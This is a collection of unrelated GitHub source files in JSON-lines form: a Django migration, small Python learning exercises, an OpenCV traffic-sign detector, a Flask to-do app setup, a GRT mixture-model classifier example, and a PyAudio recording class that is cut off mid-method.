+{"seq_id":"41409264793","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('hosts', '0017_remove_weblogic_server_apps_id'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='weblogic_admin_server_hostid',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('weblogic_admin_id', models.IntegerField(default=11)),\n                ('host_id', models.IntegerField(default=11)),\n            ],\n        ),\n        migrations.RemoveField(\n            model_name='weblogic_admin',\n            name='server_hostid',\n        ),\n    ]\n","repo_name":"yanjunjie/myops","sub_path":"hosts/migrations/0018_auto_20170301_0734.py","file_name":"0018_auto_20170301_0734.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19310320369","text":"#Final Program Invisible maze\r\n#Tatum Gray\r\n#5/14/2016\r\n\r\nimport turtle\r\nfred = turtle.Turtle()\r\nwn = turtle.Screen()\r\n\r\ndifficulty = int(input(\"\"\"Before you get started, pick a difficulty.\r\n1 for Easy.\r\n2 for Hard.\r\n\"\"\"))\r\n\r\nif difficulty == 2:\r\n    fred.penup()\r\nelse:\r\n    print(\"Easy it is.\")\r\nfred.fd(60)\r\n\r\n\r\nwn.exitonclick\r\n","repo_name":"Saltytatertot/Old-Python-Files","sub_path":"Final Maze.py","file_name":"Final Maze.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16815826929","text":"###############################TEMPLATES AND CONTOURS###############################################\r\n#Circle Template&Contour\r\ndef retrieveCircleContour():\r\n    circle_template = cv2.imread('Circle.PNG')\r\n    circle_template_grayscaled = cv2.cvtColor(circle_template,cv2.COLOR_BGR2GRAY)\r\n    ret,thresh1 = cv2.threshold(circle_template_grayscaled,127,255,0)\r\n    _,contours,hierarchy = cv2.findContours(thresh1,cv2.RETR_CCOMP,cv2.CHAIN_APPROX_NONE)\r\n    sorted(contours,key=cv2.contourArea,reverse=True)\r\n    circle_contour = contours[1]\r\n    return circle_contour\r\n\r\n#Triangle Template&Contour\r\ndef retrieveTriangleContour():\r\n    triangle_template = cv2.imread('Triangle.PNG')\r\n    triangle_template_grayscaled = cv2.cvtColor(triangle_template,cv2.COLOR_BGR2GRAY)\r\n    ret,thresh1 = cv2.threshold(triangle_template_grayscaled,127,255,0)\r\n    _,contours,hierarchy = cv2.findContours(thresh1,cv2.RETR_CCOMP,cv2.CHAIN_APPROX_NONE)\r\n    sorted(contours,key=cv2.contourArea,reverse=True)\r\n    triangle_contour = contours[1]\r\n    return triangle_contour\r\n\r\n#Square Template&Contour\r\ndef retrieveSquareContour():\r\n    square_template = cv2.imread('Square.PNG')\r\n    square_template_grayscaled = cv2.cvtColor(square_template,cv2.COLOR_BGR2GRAY)\r\n    ret,thresh1 = cv2.threshold(square_template_grayscaled,127,255,0)\r\n    _,contours,hierarchy = cv2.findContours(thresh1,cv2.RETR_CCOMP,cv2.CHAIN_APPROX_NONE)\r\n    sorted(contours,key=cv2.contourArea,reverse=True)\r\n    square_contour = contours[1]\r\n    return square_contour\r\n\r\n#Hexagon Template&Contour\r\ndef retrieveHexagonContour():\r\n    hexagon_template = cv2.imread('Hexagon.JPG')\r\n    hexagon_template_grayscaled = cv2.cvtColor(hexagon_template,cv2.COLOR_BGR2GRAY)\r\n    ret,thresh1 = cv2.threshold(hexagon_template_grayscaled,127,255,0)\r\n    _,contours,hierarchy = cv2.findContours(thresh1,cv2.RETR_CCOMP,cv2.CHAIN_APPROX_NONE)\r\n    sorted(contours,key=cv2.contourArea,reverse=True)\r\n    hexagon_contour = contours[0]\r\n    return hexagon_contour\r\n\r\n#Oval Template&Contour\r\ndef retrieveOvalContour():\r\n    oval_template = cv2.imread('Oval_Height.PNG')\r\n    oval_template_grayscaled = cv2.cvtColor(oval_template,cv2.COLOR_BGR2GRAY)\r\n    ret,thresh1 = cv2.threshold(oval_template_grayscaled,127,255,0)\r\n    _,contours,hierarchy = cv2.findContours(thresh1,cv2.RETR_CCOMP,cv2.CHAIN_APPROX_NONE)\r\n    sorted(contours,key=cv2.contourArea,reverse=True)\r\n    oval_height_contour = contours[0]\r\n    return oval_height_contour\r\n\r\n#Oval Template&Contour\r\ndef retrieveRhombusContour():\r\n    rhombus_template = cv2.imread('Rhombus.PNG')\r\n    rhombus_template_grayscaled = cv2.cvtColor(rhombus_template,cv2.COLOR_BGR2GRAY)\r\n    ret,thresh1 = cv2.threshold(rhombus_template_grayscaled,127,255,0)\r\n    _,contours,hierarchy = cv2.findContours(thresh1,cv2.RETR_CCOMP,cv2.CHAIN_APPROX_NONE)\r\n    sorted(contours,key=cv2.contourArea,reverse=True)\r\n    rhombus_contour = contours[0]\r\n    cv2.drawContours(rhombus_template,rhombus_contour,-1,(0,255,0),3)\r\n    return rhombus_contour\r\n   \r\n\r\n#Red Mask\r\ndef retrieveRedMask(target_hsv):\r\n    red_RGB = np.uint8([[[255,0,0]]])\r\n    cv2.cvtColor(red_RGB,cv2.COLOR_BGR2HSV)\r\n    red_mask_1 = cv2.inRange(target_hsv,np.array([170,100,100]),np.array([180,255,255]))\r\n    red_mask_2 = cv2.inRange(target_hsv,np.array([0,100,100]), np.array([10,255,255]))\r\n    red_mask = red_mask_1 | red_mask_2\r\n    return red_mask\r\n\r\n#Blue Mask\r\ndef retrieveBlueMask(target_hsv):\r\n    blue_RGB = np.uint8([[[255,0,0]]])\r\n    night_blue_RGB = np.uint8([[[37, 23, 35]]])\r\n    cv2.cvtColor(blue_RGB,cv2.COLOR_BGR2HSV)\r\n    lower_blue = np.array([110,150,50])\r\n    upper_blue = np.array([130,255,255])\r\n    day_blue_mask = cv2.inRange(target_hsv,lower_blue,upper_blue)\r\n    \r\n    \r\n    night_blue_RGB = np.uint8([[[31, 17, 28]]])\r\n    night_blue_HSV = cv2.cvtColor(night_blue_RGB,cv2.COLOR_BGR2HSV)\r\n    night_blue_lower_bound = np.array([134,100,31])\r\n    night_blue_upper_bound = np.array([154,255,255])\r\n    night_blue_mask = cv2.inRange(target_hsv,night_blue_lower_bound,night_blue_upper_bound)\r\n    blue_mask = day_blue_mask | night_blue_mask\r\n    return blue_mask\r\n\r\n#Yellow Mask\r\ndef retrieveYellowMask(target_hsv):\r\n    lower_yellow = np.array([15,100, 100])\r\n    upper_yellow = np.array([60, 255, 255])\r\n    white_mask = cv2.inRange(target_hsv,lower_yellow,upper_yellow)\r\n    return white_mask    \r\n\r\n#Yellowish-Brownish Mask(for shadowed photos with priority sign)\r\ndef retrieveYellowishBrownishMask(target_hsv):\r\n    #Yellowish-Brown\r\n    yellowish_brownish = np.uint8([[[4, 46, 69]]])\r\n    hsv_yellowish_brownish = cv2.cvtColor(yellowish_brownish,cv2.COLOR_BGR2HSV)\r\n    lower_bound = np.array([9,100,60])\r\n    upper_bound = np.array([29,255,120])\r\n    yellowish_brownish_mask = cv2.inRange(target_hsv,lower_bound,upper_bound)\r\n    return yellowish_brownish_mask\r\n\r\n\r\n\r\ndef applyClosingAndRetrieveMasks(red_mask,blue_mask,yellow_mask,yellowish_brownish_mask):\r\n    morphological_kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,ksize=(5,5))\r\n    red_mask = cv2.morphologyEx(red_mask, cv2.MORPH_CLOSE, morphological_kernel);\r\n    blue_mask = cv2.morphologyEx(blue_mask, cv2.MORPH_CLOSE, morphological_kernel)\r\n    yellow_mask = cv2.morphologyEx(yellow_mask, cv2.MORPH_CLOSE, morphological_kernel)\r\n    yellowish_brownish_mask = cv2.morphologyEx(yellowish_brownish_mask, cv2.MORPH_CLOSE, morphological_kernel)\r\n    return red_mask,blue_mask,yellow_mask,yellowish_brownish_mask\r\n\r\n#Display extractions\r\n#Bitwise-AND mask and original image\r\ndef displayExtractions(target,red_mask,blue_mask,yellow_mask,yellowish_brownish_mask):\r\n    red_extraction = cv2.bitwise_and(target,target, mask=red_mask)\r\n    blue_extraction = cv2.bitwise_and(target,target, mask=blue_mask)\r\n    yellow_extraction = cv2.bitwise_and(target,target, mask=yellow_mask)\r\n    yellowish_brownish_extraction = cv2.bitwise_and(target,target,mask=yellowish_brownish_mask)\r\n    cv2.imshow('Red Extraction',red_extraction)\r\n    cv2.waitKey(0)\r\n    cv2.imshow('Blue Extraction',blue_extraction)\r\n    cv2.waitKey(0)\r\n    cv2.imshow('Yellow Extraction',yellow_extraction)\r\n    cv2.waitKey(0)\r\n    cv2.imshow('Dark-Yellow-Brownish Extraction',yellowish_brownish_extraction)\r\n    cv2.waitKey(0)\r\n    return \r\n\r\ndef sortAndRetrieveRedAndBlueContours(red_mask,blue_mask):\r\n    _,red_contours,hierarchy = cv2.findContours(red_mask,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\r\n    _,blue_contours,hierarchy = cv2.findContours(blue_mask,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\r\n   # print(\"Number of red contours found\", len(red_contours))\r\n   # print(\"Number of blue contours found\",len(blue_contours))\r\n    sorted_red_contours = sorted(red_contours,key=cv2.contourArea,reverse=True)\r\n    sorted_blue_contours = sorted(blue_contours,key=cv2.contourArea,reverse=True)\r\n    return sorted_red_contours,sorted_blue_contours\r\n\r\ndef sortAndRetrieveYellowAndYellowishAndBrownishContours(yellow_mask,yellowish_brownish_mask):\r\n    _,yellow_contours,hierarchy = cv2.findContours(yellow_mask,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\r\n    _,yellowish_brownish_contours,hierarchy = cv2.findContours(yellowish_brownish_mask,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\r\n   # print(\"Number of yellow contours found\", len(yellow_contours))\r\n   # print(\"Number of yellowish-brownish contours found\",len(yellowish_brownish_contours))\r\n    sorted_yellow_contours = sorted(yellow_contours,key=cv2.contourArea,reverse=True)\r\n    sorted_yellowish_brownish_contours = sorted(yellowish_brownish_contours,key=cv2.contourArea,reverse=True)\r\n    return sorted_yellow_contours,sorted_yellowish_brownish_contours\r\n\r\n\r\ndef retrieveContoursToBeDrawn(contours,color_flag,circle_contour,triangle_contour,square_contour,hexagon_contour,oval_contour):\r\n    best_red_index = 0\r\n    best_red_match = 1\r\n    best_blue_index = 0\r\n    best_blue_match = 1\r\n    contours_to_be_drawn = []\r\n    for (index,c) in enumerate(contours[:3]):\r\n         match_circle = cv2.matchShapes(circle_contour,c,1,0.0)\r\n         match_triangle = cv2.matchShapes(triangle_contour,c,1,0.0)\r\n         match_square = cv2.matchShapes(square_contour,c,1,0.0)\r\n         match_hexagon = cv2.matchShapes(hexagon_contour,c,1,0.0)\r\n         match_oval = cv2.matchShapes(oval_contour,c,1,0.0)\r\n\r\n       \r\n         #Initialise Flags\r\n         may_be_blue_circle = False\r\n         may_be_blue_triangle = False\r\n         may_be_blue_square = False\r\n         may_be_blue_hexagon = False\r\n         may_be_blue_oval = False\r\n         may_be_blue_contours = False\r\n         may_be_red_circle = False\r\n         may_be_red_triangle = False\r\n         may_be_red_square = False\r\n         may_be_red_hexagon = False\r\n         may_be_red_oval = False\r\n         may_be_red_contours = False\r\n         \r\n         if(match_circle < 0.25): \r\n             if(color_flag == 0): \r\n                 may_be_blue_circle = True\r\n                 may_be_blue_contours = True\r\n                 if(match_circle < best_blue_match): \r\n                    best_blue_match = match_circle\r\n                    best_blue_index = index\r\n             else:\r\n                 may_be_red_circle = True\r\n                 may_be_red_contours = True\r\n                 if(match_circle < best_red_match): \r\n                    best_red_match = match_circle\r\n                    best_red_index = index\r\n   \r\n         if(match_triangle < 0.25):\r\n             if(color_flag == 0):\r\n                  may_be_blue_triangle = True\r\n                  may_be_blue_contours = True\r\n                  if(match_triangle < best_blue_match): \r\n                      best_blue_match = match_circle\r\n                      best_blue_index = index\r\n             else:\r\n                  may_be_red_contours = True\r\n                  may_be_red_triangle = True\r\n                  if(match_triangle < best_red_match) : \r\n                    best_red_match = match_circle\r\n                    best_red_index = index\r\n     \r\n                \r\n         if(match_square < 0.25):\r\n             if(color_flag == 0):\r\n                 may_be_blue_square = True\r\n                 may_be_blue_contours = True\r\n                 if(match_square < best_blue_match): \r\n                    best_blue_match = match_square\r\n                    best_blue_index = index\r\n             else:\r\n                 may_be_red_contours = True\r\n                 may_be_red_square = True\r\n                 if(match_square < best_red_match): \r\n                    best_red_match = match_square\r\n                    best_red_index = index\r\n      \r\n                 \r\n         if(match_hexagon < 0.25):\r\n             if(color_flag == 0):\r\n                 may_be_blue_hexagon = True\r\n                 may_be_blue_contours = True\r\n                 if(match_hexagon < best_blue_match): \r\n                    best_blue_match = match_hexagon\r\n                    best_blue_index = index\r\n             else:\r\n                 may_be_red_contours = True\r\n                 may_be_red_hexagon = True\r\n                 if(match_square < best_red_match): \r\n                    best_red_match = match_hexagon\r\n                    best_red_index = index\r\n            \r\n         if(match_oval < 0.25):\r\n             if(color_flag == 0):\r\n                 may_be_blue_oval = True\r\n                 may_be_blue_contours = True\r\n                 if(match_oval < best_blue_match): \r\n                    best_blue_match = match_oval\r\n                    best_blue_index = index\r\n             else:\r\n                 may_be_red_contours = True\r\n                 may_be_red_oval = True\r\n                 if(match_square < best_red_match): \r\n                    best_red_match = match_oval\r\n                    best_red_index = index\r\n                  \r\n         if(may_be_red_circle or may_be_red_hexagon or may_be_red_oval or may_be_red_triangle or may_be_red_square or may_be_blue_circle or may_be_blue_hexagon or may_be_blue_oval or may_be_blue_triangle or may_be_blue_square):\r\n                contours_to_be_drawn.append(c)\r\n    return contours_to_be_drawn\r\n\r\ndef retrieveYellowishContoursToBeDrawn(contours,color_flag,rhombus_contour):\r\n    contours_to_be_drawn = []\r\n    if(len(contours)>0):     \r\n      for (index,c) in enumerate(contours[:2]):\r\n         may_be_yellowish_rhombus = False\r\n         may_be_yellowish_brownish_rhombus = False     \r\n         rhombus_match = cv2.matchShapes(rhombus_contour,c,1,0.0)\r\n         if(rhombus_match < 0.4): \r\n             if(color_flag == 0): \r\n                 may_be_yellowish_rhombus = True\r\n             else:\r\n                 print('Ii de desenat')\r\n                 may_be_yellowish_brownish_rhombus = True\r\n    if(may_be_yellowish_rhombus or may_be_yellowish_brownish_rhombus):\r\n              contours_to_be_drawn.append(c)\r\n    print('Len of countours to be drawn is',len(contours_to_be_drawn))\r\n    return contours_to_be_drawn\r\n\r\n\r\ndef makeUniquePrediction(image_path):\r\n        initialTime = dt.datetime.now()\r\n        test_image = image.load_img(image_path,target_size = (64,64))\r\n        test_image = image.img_to_array(test_image)\r\n        test_image = np.expand_dims(test_image, axis = 0)\r\n        result = loaded_model.predict(test_image)\r\n        finishTime = dt.datetime.now()\r\n        forwardPassTime = finishTime - initialTime\r\n        print('Total prediction time: ', forwardPassTime)       \r\n        flattened_result = [item for sublist in result for item in sublist]\r\n        max_index, max_value = max(enumerate(flattened_result), key=operator.itemgetter(1))\r\n       # print('Max index is:',max_index, ',Max value is:',max_value) \r\n        return max_index\r\n\r\ndef drawContoursAndMakePrediction(target,contours,contour_type):\r\n   for i in range(0,len(contours)):\r\n         hull = cv2.convexHull(contours[i],returnPoints = True)\r\n         x,y,w,h = cv2.boundingRect(hull)\r\n         result = \"\"\r\n         shouldDrawContour = False\r\n         if(contour_type == 0):\r\n               cv2.rectangle(target,(x,y),(x+w,y+h),(0,255,0),2)\r\n               cropped = target[y:y+h, x:x+w]\r\n               #print('Width is: ' ,w , 'Height is: ',h)\r\n               if(cropped.shape[0] > 64) and (cropped.shape[1] > 64):\r\n                   resized_crop = cv2.resize(cropped,(64,64),interpolation = cv2.INTER_AREA)\r\n                   image_name = 'Resized_crop_'+str(i)+'.jpg'\r\n                 #  cv2.imshow('Cropped',resized_crop)\r\n                 #  cv2.waitKey(0)\r\n                   cv2.imwrite(image_name,resized_crop)\r\n                   shouldDrawContour = True\r\n                   result = makeUniquePrediction(image_name)\r\n                   \r\n         else:\r\n               cv2.rectangle(target,(x-int(w/3),y-int(h/3)),(x+w+int(w/3),y+h+int(h/3)),(0,255,0),2)\r\n               cropped = target[y-int(h/3):y+h+int(h/3), x-int(w/3):x+w+int(w/3)]\r\n               #print('Width is: ' ,w , 'Height is: ',h)\r\n               if(cropped.shape[0] > 64 ) and (cropped.shape[1] > 64):\r\n                   resized_crop = cv2.resize(cropped,(64,64),interpolation = cv2.INTER_AREA)\r\n                   image_name = 'Resized_crop_yellow_0'+str(i)+'.jpg'\r\n                  # cv2.imshow('Cropped',resized_crop)\r\n                  # cv2.waitKey(0)\r\n                   cv2.imwrite(image_name,resized_crop)\r\n                   shouldDrawContour = True\r\n                   result = makeUniquePrediction(image_name)\r\n                   \r\n         for k,v in training_set.class_indices.items():\r\n           if (v == result): \r\n               cv2.putText(target, k, (x-100,y+30),cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255,20,147), 4) \r\n         if(shouldDrawContour):\r\n             cv2.drawContours(target,[hull],-1,(255,20,147),2)\r\n   return\r\n \r\n    \r\nimport cv2\r\nimport numpy as np\r\nimport datetime as dt\r\nimport operator\r\nfrom cnn import importDataSets\r\nfrom cnn import retrieveModel\r\nfrom keras.preprocessing import image\r\ntraining_set,_,_ = importDataSets()\r\nloaded_model = retrieveModel()\r\ncircle_contour = retrieveCircleContour()\r\ntriangle_contour = retrieveTriangleContour()\r\nsquare_contour = retrieveSquareContour()\r\nhexagon_contour = retrieveHexagonContour()\r\noval_contour = retrieveOvalContour()\r\nrhombus_contour = retrieveRhombusContour()\r\n\r\ninitialTime = dt.datetime.now()\r\ntarget = cv2.imread('multiple_ger_3.jpg')\r\ntarget = cv2.resize(target,(700,800),interpolation=cv2.INTER_AREA)\r\ninitialTime = dt.datetime.now()\r\ntarget_hsv = cv2.cvtColor(target,cv2.COLOR_BGR2HSV)\r\nred_mask,blue_mask,yellow_mask,yellowish_brownish_mask = retrieveRedMask(target_hsv),retrieveBlueMask(target_hsv),retrieveYellowMask(target_hsv),retrieveYellowishBrownishMask(target_hsv)\r\nred_mask,blue_mask,yellow_mask,yellowish_brownish_mask = applyClosingAndRetrieveMasks(red_mask,blue_mask,yellow_mask,yellowish_brownish_mask)\r\ndisplayExtractions(target,red_mask,blue_mask,yellow_mask,yellowish_brownish_mask)\r\nsorted_red_contours,sorted_blue_contours = sortAndRetrieveRedAndBlueContours(red_mask.copy(),blue_mask.copy())\r\nsorted_yellow_contours,sorted_yellowish_brownish_contours = sortAndRetrieveYellowAndYellowishAndBrownishContours(yellow_mask.copy(),yellowish_brownish_mask.copy())\r\nred_contours_to_be_drawn = retrieveContoursToBeDrawn(sorted_red_contours,1,circle_contour,triangle_contour,square_contour,hexagon_contour,oval_contour)\r\nblue_contours_to_be_drawn = retrieveContoursToBeDrawn(sorted_blue_contours,0,circle_contour,triangle_contour,square_contour,hexagon_contour,oval_contour)\r\nyellow_contours_to_be_drawn = retrieveYellowishContoursToBeDrawn(sorted_yellow_contours,0,rhombus_contour)\r\nyellowish_brownish_contours_to_be_drawn =  retrieveYellowishContoursToBeDrawn(sorted_yellowish_brownish_contours,1,rhombus_contour)\r\nif(len(red_contours_to_be_drawn) > 0):  \r\n   drawContoursAndMakePrediction(target,red_contours_to_be_drawn,0)\r\nif(len(blue_contours_to_be_drawn) > 0):  \r\n   drawContoursAndMakePrediction(target,blue_contours_to_be_drawn,0)\r\nif(len(yellow_contours_to_be_drawn) > 0):  \r\n   drawContoursAndMakePrediction(target,yellow_contours_to_be_drawn,1)\r\nif(len(yellowish_brownish_contours_to_be_drawn) > 0):  \r\n   drawContoursAndMakePrediction(target,yellowish_brownish_contours_to_be_drawn,1)\r\nfinishTime = dt.datetime.now()\r\nforwardPassTime = finishTime - initialTime\r\nprint('Detection + Classification Time',forwardPassTime) \r\ncv2.imshow('Final Image',target)\r\ncv2.waitKey()\r\ncv2.destroyAllWindows()\r\n\r\n\r\n\r\n#TEMPLATE MATCHING - CROSS CORRELATION\r\n#Doesn't work, prove\r\n\"\"\"\r\nimport cv2\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nimg = cv2.imread('prioritate.jpg',0)\r\nimg2 = img.copy()\r\ntemplate = cv2.imread('priority_template.png',0)\r\nimg = cv2.resize(img,(700,800),interpolation=cv2.INTER_AREA)\r\ntemplate = cv2.resize(template,(100,100),interpolation=cv2.INTER_AREA)\r\nw, h = template.shape[::-1]\r\n\r\n# All the 6 methods for comparison in a list\r\nmethods = ['cv2.TM_CCOEFF', 'cv2.TM_CCOEFF_NORMED', 'cv2.TM_CCORR',\r\n            'cv2.TM_CCORR_NORMED', 'cv2.TM_SQDIFF', 'cv2.TM_SQDIFF_NORMED']\r\n\r\nfor meth in methods:\r\n    img = img2.copy()\r\n    img = cv2.resize(img,(700,800),interpolation=cv2.INTER_AREA)\r\n    method = eval(meth)\r\n\r\n    # Apply template Matching\r\n    res = cv2.matchTemplate(img,template,method)\r\n    min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)\r\n\r\n    # If the method is TM_SQDIFF or TM_SQDIFF_NORMED, take minimum\r\n    if method in [cv2.TM_SQDIFF, cv2.TM_SQDIFF_NORMED]:\r\n        top_left = min_loc\r\n    else:\r\n        top_left = max_loc\r\n    bottom_right = (top_left[0] + w, top_left[1] + h)\r\n\r\n    cv2.rectangle(img,top_left, bottom_right, 255, 2)\r\n    cv2.imshow(\"Result\",img)\r\n    cv2.waitKey(0)\r\n\"\"\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"CalinTimbusLucian/thesis","sub_path":"licenta_couple_final.py","file_name":"licenta_couple_final.py","file_ext":"py","file_size_in_byte":19540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73309370490","text":"import datetime\n\nfrom flask import Flask, redirect, url_for\nfrom flask_jwt_extended import JWTManager\nfrom flask_cors import CORS\nfrom src.API.tasks import tasks\nfrom src.API.users import users\n\nfrom src.DB.DB import Database\n#\napp = Flask(__name__)\nDatabase.init()\napp.config['MONGO_URI'] = 'mongodb://localhost:27017/slp_todo'\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\napp.config['CORS_HEADERS'] = 'Content-Type'\napp.secret_key = \"super secret key\"\njwt = JWTManager(app)\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\napp.config['JWT_SECRET_KEY'] = '5369656D696E736B69546F4A6562616E794377656C4B757277794E6965436863655A6E61634C4D414F'\napp.config['JWT_ACCESS_TOKEN_EXPIRES'] = datetime.timedelta(days=2)\napp.register_blueprint(users, url_prefix='/users')\napp.register_blueprint(tasks, url_prefix='/tasks')\n\n\n@app.route('/')\ndef hello_world():\n    return redirect(url_for('users.login'))\n\n\nif __name__ == '__main__':\n    app.run(debug=True, use_reloader=True)\n","repo_name":"Jakub-Radzik/SLP_TODO_FLASK","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20647990167","text":"# convert_table.py\n# A program to convert Celsius temps to Fahrenheit and inserts it into a table\n# by: Joshua Pedro\nprint (\"This is a program that converts fahrenheit\")\n\ndef main():\n    for celsius in [0,10,20,30,40,50,60,70,80,90,100] :\n        fahrenheit = 9 / 5 * celsius + 32\n        print(\"The temperature is\", celsius, \"degrees Celsius.\"\" The temperature is\", fahrenheit, \"degrees Fahrenheit.\")\n    input(\"Press the <Enter> key to quit.\")\nmain()\n","repo_name":"JoshuaPedro/python-1.2","sub_path":"convert_table.py","file_name":"convert_table.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"617429673","text":"import GRT\nimport sys\nimport argparse\n\n\ndef main():\n    '''\n     GRT GMM Example\n     This examples demonstrates how to initialize, train, and use the GMM algorithm for classification.\n     \n     The Gaussian Mixture Model Classifier (GMM) is basic but useful classification algorithm that can be used to\n     classify an N-dimensional signal.\n     \n     In this example we create an instance of a GMM classifier and then train the algorithm using some pre-recorded training data.\n     The trained GMM algorithm is then used to predict the class label of some test data.\n     \n     This example shows you how to:\n     - Create an initialize the GMM algorithm\n     - Load some ClassificationData from a file and partition the training data into a training dataset and a test dataset\n     - Train the GMM algorithm using the training dataset\n     - Test the GMM algorithm using the test dataset\n     - Manually compute the accuracy of the classifier\n    \n    You should run this example with one argument pointing to the data you want to load. A good dataset to run this example is acc-orientation.grt, which can be found in the GRT data folder.\n    '''\n\n    # Parse the data filename from the argument list\n    parser = argparse.ArgumentParser(description='Process some data.')\n    parser.add_argument('filename', help='A data file')\n    args = parser.parse_args()\n\n    filename = args.filename\n\n    # Create a new GMM instance and set the number of mixture models to 2\n    gmm = GRT.GMM()\n    gmm.setNumMixtureModels(2)\n\n    # Load some training data to train the classifier\n    trainingData = GRT.ClassificationData()\n\n    if not trainingData.load( filename ):\n        print(\"Failed to load training data: %s\" % filename)\n        sys.exit(1)\n\n    # Use 20% of the training dataset to create a test dataset\n    testData = trainingData.split( 80 )\n\n    # Train the classifier\n    if not gmm.train( trainingData ):\n        print(\"Failed to train classifier!\")\n        sys.exit(1)\n\n    # Save the model to a file\n    if not gmm.save(\"GMMModel.grt\"):\n        print(\"Failed to save the classifier model!\")\n        sys.exit(1)\n\n    # Load the model from a file\n    if not gmm.load(\"GMMModel.grt\"):\n        print(\"Failed to load the classifier model!\")\n        sys.exit(1)\n\n    # Use the test dataset to test the BAG model\n    accuracy = 0.0\n    for i in range(testData.getNumSamples()):\n        # Get the i'th test sample\n        classLabel = testData.get(i).getClassLabel()\n        inputVector = testData.get(i).getSample()\n\n        # Perform a prediction using the classifier\n        if not gmm.predict( inputVector ):\n            print(\"Failed to perform prediction for test sample: %d\" % i)\n            sys.exit(1)\n\n        # Get the predicted class label\n        predictedClassLabel = gmm.getPredictedClassLabel()\n        classLikelihoods = gmm.getClassLikelihoods()\n        classDistances = gmm.getClassDistances()\n    \n        # Update the accuracy\n        if classLabel == predictedClassLabel:\n            accuracy += 1\n\n        # Print out the results\n        print(\"TestSample: %d  ClassLabel: %d PredictedClassLabel: %d\" % (i, classLabel, predictedClassLabel))\n\n        print(\" ClassLikelihoods: \" + str(classLikelihoods))\n        print(\" ClassDistances: \" + str(classDistances))\n\n    print(\"Test Accuracy: %.3f%%\" % (accuracy/float(testData.getNumSamples())*100.0))\n\n    return 0\n\nif __name__ == '__main__':\n    sys.exit(main())\n","repo_name":"nickgillian/grt","sub_path":"build/python/examples/ClassificationModulesExamples/GMM_example.py","file_name":"GMM_example.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","stars":835,"dataset":"github-code","pt":"77"}
+{"seq_id":"25157290848","text":"import pyaudio\nimport numpy as np\nimport sys\nimport time\nfrom ui_func import virtual_console_print as print\nfrom ui_func import _\n\nclass AudioClass:\n    def __init__(self, settings):\n        self.settings = settings\n        self.setup()\n        self.is_streamed = False\n\n    def setup(self):\n        print(\"[Info] setup audio\")\n        self.audio = pyaudio.PyAudio()\n        self.device_list = {\"name\":[], \"all_info\":[]}\n        for x in range(0, self.audio.get_device_count()):\n            if self.audio.get_device_info_by_index(x)[\"maxInputChannels\"] > 0 and self.audio.get_device_info_by_index(x)[\"hostApi\"] == 0:\n                self.device_list[\"all_info\"].append(self.audio.get_device_info_by_index(x))\n                self.device_list[\"name\"].append(self.audio.get_device_info_by_index(x)[\"name\"])\n\n        if self.settings.get_value(\"device\", {\"name\":\"Null\"})[\"name\"] in self.device_list[\"name\"]:\n            self.device = self.settings.get_value(\"device\")\n            print(\"[Info] a saved device(\" + str(self.settings.get_value(\"device\")[\"name\"]) + \") has been found, use this device\")\n        else:\n            if len(self.device_list[\"all_info\"]) > 0:\n                self.settings.set_value(\"device\", {\"name\":self.device_list[\"all_info\"][0][\"name\"], \"all_info\":self.device_list[\"all_info\"][0]})\n                self.device = self.settings.get_value(\"device\")\n                print(\"[Info] no saved device found, use default device\")\n            else:\n                self.settings.set_value(\"device\", {\"name\":_(\"Recording device not found\"), \"all_info\": None})\n                self.device = self.settings.get_value(\"device\")\n                print(\"[Info] recording device not found, disable recording function\")\n\n    def start_stream(self, device):\n        print(\"[Info] start stream\")\n        self.device = device\n        self.open_stream(self.device)\n\n    def restart_stream(self, device):\n        print(\"[Info] restart stream\")\n        self.close_audio()\n        self.setup()\n        self.start_stream(device)\n\n    def open_stream(self, device):\n        try:\n            if(self.settings.get_value(\"device\")[\"name\"] != _(\"Recording device not found\")):\n                print(\"[Info] open stream\")\n                self.stream = self.audio.open(format = pyaudio.paInt16,\n                                       channels = int(device[\"all_info\"][\"maxInputChannels\"]),\n                                       rate = int(device[\"all_info\"][\"defaultSampleRate\"]),\n                                       input = True,\n                                       frames_per_buffer = 1024,\n                                       input_device_index = int(device[\"all_info\"][\"index\"])) \n                self.is_streamed = True\n        except OSError as e:\n            print(\"[Error] cannot open stream, use default device\" + str(e.args))\n            self.settings.set_value(\"device\", {\"name\":self.device_list[\"all_info\"][0][\"name\"], \"all_info\":self.device_list[\"all_info\"][0]})\n            self.start_stream(self.settings.get_value(\"device\"))\n\n    def close_stream(self):\n        self.is_streamed = False\n        self.stream.stop_stream()\n        self.stream.close()\n        print(\"[Info] close stream\")\n\n    def close_audio(self):\n        self.close_stream()\n        self.audio.terminate()\n        print(\"[Info] close audio\")\n\n    def get_input_volume(self, device_all_info):\n        if self.is_streamed == True:\n            try:\n                return (np.frombuffer(self.stream.read(1024), dtype=\"int16\") / 32768.0).max()\n            except OSError as e:\n                